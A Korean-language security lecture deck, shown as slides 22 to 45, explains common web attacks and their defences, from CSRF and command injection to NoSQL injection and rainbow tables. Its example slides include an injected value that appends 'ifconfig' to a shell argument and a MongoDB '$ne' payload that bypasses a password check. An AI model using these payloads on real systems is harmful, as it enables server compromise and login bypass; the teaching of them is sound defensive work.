  • 22. CSRF Attack •Cross-Site Request Forgery •공격자가 사용자를 이용하여 웹 사이트에 요청을 보내는 공격
  • 23. CSRF Attack - 사례 가짜 진짜 admin 1q2w3e4r 로그인 요청 성공/실패 성공했으면 저장
  • 24. CSRF Attack - 방어 •Referrer Check •허용한 도메인만 요청 허락하도록 설정 •CSRF Token •모든 요청에 토큰을 발급하여 서버에서 검증 •CAPTCHA •사람이 요청한 것이 맞는지 검증
  • 25. Command Injection •애플리케이션에서 사용되는 시스템 명령에 악의적인 명령어를 삽입하는 공격 (WebShell Attack) •서버 root 권한을 취득할 수 있다. •뚫리면 서비스 종료각
  • 26. Command Injection - 사례 Hacker text.txt; ifconfig system("cat ${var}") execute WebShell
  • 27. Command Injection - 방어 •가급적 시스템 함수는 사용 X •민감한 문자를 필터링 ex) |, &, ;, >, <
  • 28. File Upload Attack •악성 스크립트 파일을 업로드하는 공격 •업로드 후 파일 위치를 찾아 실행시키면 공격 성공 •뚫리면 서비스 종료각
  • 29. File Upload Attack - 사례 Upload 1 2 Command WebShell
  • 30. File Upload Attack - 방어 •확장자 / 파일 타입 검사 •업로드 파일을 난수화하여 저장 •특수 문자가 포함된 경우 업로드 금지 (Null byte Injection 방어)
  • 31. Javascript Injection •Client-Side에서 Javascript를 삽입시키는 공격 •크롬 console 등을 통해 조작 가능하다. •Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
  • 33. Javascript Injection - 방어 •Client-Side엔 민감한 정보를 절대 넣지 않는다. •데이터 유효성 검사가 필요한 경우 서버와 통신한다. (Client에서 검사하면 안된다)
  • 34. DDoS •Distributed Denial of Service •서버에 비정상적으로 많은 트래픽을 보내는 공격 •서비스가 마비되고 많은 비용이 소모된다.
  • 35. DDoS - 사례 Zombie PC Traffic
  • 36. DDoS - 방어 •제일 단순한데 제일 막기 어렵다. •확장 가능한 서비스 구조 설계 •IP 필터링 •솔루션 구매... …
  • 37. Dictionary Attack •미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격 •Brute Force의 일종
  • 38. Dictionary Attack - 사례 admin apple banana cyber . . . 1q2w3e4r
  • 39. Dictionary Attack - 방어 •의미가 있는 문자열은 암호로 등록 못하도록 설정 •Account Lockout Policy •2-factor 인증
  • 40. Rainbow Table •해시 함수를 이용한 평문을 모두 저장시켜 놓은 표 •계정 탈취 후 암호 원문을 알아내기 위해 사용
  • 41. Rainbow Table - 방어 •Salt 사용 •Key Stretching •PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
  • 42. MongoDB Injection •SQL Injection처럼 악의적인 값을 넣어 DB를 조작하는 공격 •뚫리면 서비스 종료각
  • 43. MongoDB Injection - 사례 db.collection.find({ "email": "kciter@cobalt.run", "password": password }) db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" }) password = { "$ne": "-" }
  • 44. MongoDB Injection - 방어 •영향을 줄 수 있는 문자를 필터링한다. ex) $, {, }, [, ], (, ), ...
  • 45. Buffer Overflow •Buffer Overflow를 통해 다른 메모리에 접근하는 공격 •다른 메모리에 접근 및 제어가 가능하기 때문에 치명적 •시스템 해킹 기법이기도 하다. •뚫리면 서비스 종료각